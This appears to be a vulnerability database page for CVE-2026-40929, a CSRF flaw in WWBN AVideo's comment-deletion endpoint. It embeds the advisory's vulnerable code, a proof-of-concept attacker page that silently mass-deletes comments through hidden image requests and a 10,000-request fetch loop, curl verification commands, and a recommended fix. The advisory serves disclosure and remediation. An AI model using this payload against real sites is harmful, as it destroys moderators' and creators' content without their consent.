CVE-2026-40929: Wwbn/avideo WWBN AVideo Is Missing CSRF Vulnerability
MODERATECVE-2026-40929 is a MODERATE (CVSS 5.4) wwbn avideo is missing csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo is missing csrf protection in objects/commentdelete.json.php enables mass comment deletion against moderators and content creators. Remediation is available in the latest vendor maintenance releases.
CVE-2026-40929 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L).
How to Fix CVE-2026-40929
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40929, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40929 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 29.0
|
|
References
Frequently Asked Questions
What is CVE-2026-40929?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-40929?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-40929?
What CWE is associated with CVE-2026-40929?
How can I check Packagist dependencies for CVE-2026-40929?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8qm8-g55h-xmqr",
"modified" : "2026-04-24T20:32:38Z",
"published" : "2026-04-14T23:13:08Z",
"aliases" : [ "CVE-2026-40929" ],
"summary" : "WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators",
"details" : "## Summary\n\n`objects/commentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF/global token, and does not check `Origin`/`Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.\n\n## Details\n\n### Vulnerable endpoint: `objects/commentDelete.json.php`\n\n```php\n// objects/commentDelete.json.php:1-35\n<?php\nheader('Content-Type: application/json');\nglobal $global, $config;\nif (!isset($global['systemRootPath'])) {\n require_once '../videos/configuration.php';\n}\nrequire_once $global['systemRootPath'] . 'objects/comment.php';\n\n$obj = new stdClass();\n$obj->error = true;\n$obj->msg = '';\n$obj->id = intval(@$_REQUEST['id']); // <-- GET or POST\n$obj->status = false;\n\nif (empty($obj->id)) {\n $obj->id = intval(@$_REQUEST['comments_id']);\n}\n\nif (empty($obj->id)) {\n $obj->msg = __(\"ID can not be empty\");\n die(_json_encode($obj));\n}\n\n$objC = new Comment(\"\", 0, $obj->id);\n$obj->videos_id = $objC->getVideos_id();\n$obj->status = $objC->delete(); // <-- destructive action, no CSRF check\n...\n```\n\nNo `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token/nonce parameter, no `Origin`/`Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `<img src>`) or `POST` (e.g. via an auto-submitting form / `fetch`).\n\n### Authorization inside `Comment::delete()` does not stop CSRF\n\n```php\n// objects/comment.php:147-159\npublic function delete() {\n if (!self::userCanAdminComment($this->id)) {\n return false;\n }\n ...\n $sql = \"DELETE FROM comments WHERE id = ?\";\n ...\n return sqlDAL::writeSql($sql, \"i\", [$this->id]);\n}\n\n// objects/comment.php:316-332\npublic static function userCanAdminComment($comments_id) {\n if (!User::isLogged()) { return false; }\n if (Permissions::canAdminComment()) { return true; } // site moderator\n $obj = new Comment(\"\", 0, $comments_id);\n if ($obj->users_id == User::getId()) { return true; } // comment owner\n $video = new Video(\"\", \"\", $obj->videos_id);\n if ($video->getUsers_id() == User::getId()) { return true; } // video owner\n return false;\n}\n```\n\nThis check is exactly what CSRF abuses: it asks \"is the session user allowed to delete this comment?\" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.\n\n### Site-wide cookie policy makes cross-site delivery reliable\n\n```php\n// objects/include_config.php:139-146\nif ($isHTTPS) {\n // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n // where users must stay authenticated (e.g. video players on third-party sites).\n // Setting Lax would break that use case. All state-mutating endpoints that are\n // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\n ini_set('session.cookie_samesite', 'None');\n ini_set('session.cookie_secure', '1');\n}\n```\n\nThe in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects/userUpdate.json.php:18`:\n\n```php\n// objects/userUpdate.json.php:13-18\nif (!User::isLogged()) {\n $obj->msg = __(\"Is not logged\");\n die(json_encode($obj));\n}\n\nforbidIfIsUntrustedRequest(); // <-- what commentDelete.json.php is missing\n```\n\nA repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects/userUpdate.json.php` and the function definition itself — no shared middleware exists, and no bootstrap in `configuration.php` / `include_config.php` wraps endpoints with a CSRF check.\n\n### Attacker model / victim value\n\n- **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle.\n- **Video creators** (channel owners): deletion oracle for every comment on their own videos.\n- **Comment authors**: only their own comments (self-DoS, low value).\n\nThe first two classes make this a real integrity/availability attack on community content.\n\n## PoC\n\nAssume the target AVideo instance runs at `https://victim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts:\n\n```html\n<!-- https://attacker.example/mass-delete.html -->\n<!doctype html>\n<html><body>\n<h1>Cute kittens</h1>\n<!-- GET variant (works because the endpoint uses $_REQUEST): -->\n<img src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=1\" style=\"display:none\">\n<img src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=2\" style=\"display:none\">\n<img src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=3\" style=\"display:none\">\n<!-- ... up to N -->\n\n<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->\n<script>\nfor (let i = 1; i <= 10000; i++) {\n fetch(\"https://victim.example.com/objects/commentDelete.json.php\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n body: \"comments_id=\" + i\n });\n}\n</script>\n</body></html>\n```\n\nManual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):\n\n```bash\n# 1. Log in as a moderator and capture PHPSESSID\ncurl -c cookies.txt -d 'user=moderator&pass=pass' \\\n https://victim.example.com/objects/userLogin.json.php\n\n# 2. Call the endpoint with nothing but the session cookie and a comments_id.\n# No CSRF token, no Referer/Origin matching the site.\ncurl -b cookies.txt \\\n -H 'Origin: https://attacker.example' \\\n -H 'Referer: https://attacker.example/mass-delete.html' \\\n 'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'\n# -> {\"error\":false,\"msg\":\"\",\"id\":1,\"status\":true,\"videos_id\":...}\n```\n\nThe `{\"status\":true,\"error\":false}` response confirms the row was deleted; compare with `objects/userUpdate.json.php` under the same Origin/Referer, which returns the \"Invalid Request\" forbidden page from `forbidIfIsUntrustedRequest()`.\n\n## Impact\n\n- Cross-site mass deletion of comments.\n- Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.\n- Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).\n- The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.\n- No credential compromise is required; the attack does not leak data, but it destroys it.\n- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.\n\n## Recommended Fix\n\nApply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:\n\n1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`).\n2. Restrict the method to `POST` so drive-by `<img>` and navigational `GET` deliveries cannot reach the sink.\n\n```php\n// objects/commentDelete.json.php\n<?php\nheader('Content-Type: application/json');\nglobal $global, $config;\nif (!isset($global['systemRootPath'])) {\n require_once '../videos/configuration.php';\n}\nrequire_once $global['systemRootPath'] . 'objects/comment.php';\n\n// --- added CSRF defense ---\nif (!User::isLogged()) {\n die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));\n}\nforbidIfIsUntrustedRequest(); // Referer/Origin gate\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') { // no $_REQUEST drive-by\n die(_json_encode((object)['error' => true, 'msg' => 'POST required']));\n}\n// --- end added ---\n\n$obj = new stdClass();\n$obj->error = true;\n$obj->msg = '';\n$obj->id = intval(@$_POST['id']);\n$obj->status = false;\n\nif (empty($obj->id)) {\n $obj->id = intval(@$_POST['comments_id']);\n}\n...\n```\n\nStronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects/include_config.php` prescribes, and audit every other `objects/*.json.php` handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "29.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-8qm8-g55h-xmqr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40929"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/184f36b1896f3364f864f17c1acca3dd8df3af27"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-14T23:13:08Z",
"nvd_published_at" : "2026-04-21T23:16:20Z"
}
}